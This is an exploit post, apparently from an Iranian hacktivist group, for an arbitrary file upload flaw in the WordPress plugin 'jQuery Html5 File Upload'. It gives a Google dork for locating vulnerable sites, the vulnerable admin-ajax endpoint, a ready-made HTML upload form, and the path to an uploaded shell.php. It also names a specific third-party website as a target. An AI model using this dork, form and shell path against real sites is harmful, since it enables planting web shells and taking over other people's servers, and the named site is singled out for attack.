##########################
# Exploit Title: Wordpress Plugins jQuery Html5 File Upload
# Google Dork: inurl:/wp-content/plugins/jquery-html5-file-upload/
# We Are Iranian Anonymous Iranonymous.org
# Discovered By: Hacker Khan
################
# Vendor Homepage: https://wordpress.org/plugins/jquery-html5-file-upload/
# Software Link: https://downloads.wordpress.org/plugin/jquery-html5-file-upload.3.0.zip
# Version: Any Version
# Tested on: Windows, Linux
#############################
Poc :
targe.com/wp-admin/admin-ajax.php?action=load_ajax_function
############################
Exploit HTML :
<center>
<br><br><br><br><br><br><br><br><br><br><br><br><br>
<font face="Iceland" color="red" size="7">jQuery File Upload By Hacker Khan</font><br>
<form method="POST" action="target.com/
enctype="multipart/form-data">
<input type="file" name="files[]" /><button>Upload</button>
###########################
Shell Access :
http://www.target.com/wp-content/uploads/files/guest/shell.php
###########################
Target :
http://students4students.us/wp-admin/admin-ajax.php?action=load_ajax_function
#############################
#Thanks to : MR.Khatar |||| ll_azab-siyah_ll || Rising || Blackwolf_Iran ||Sh@d0w ||
MaMaD_Malware|| OnE_H4Ck3R || Shdmehr || B.D Happy Boy || MR.zarvan || Security Soldier ||
InfernaL And All Of Iranian Anonymous
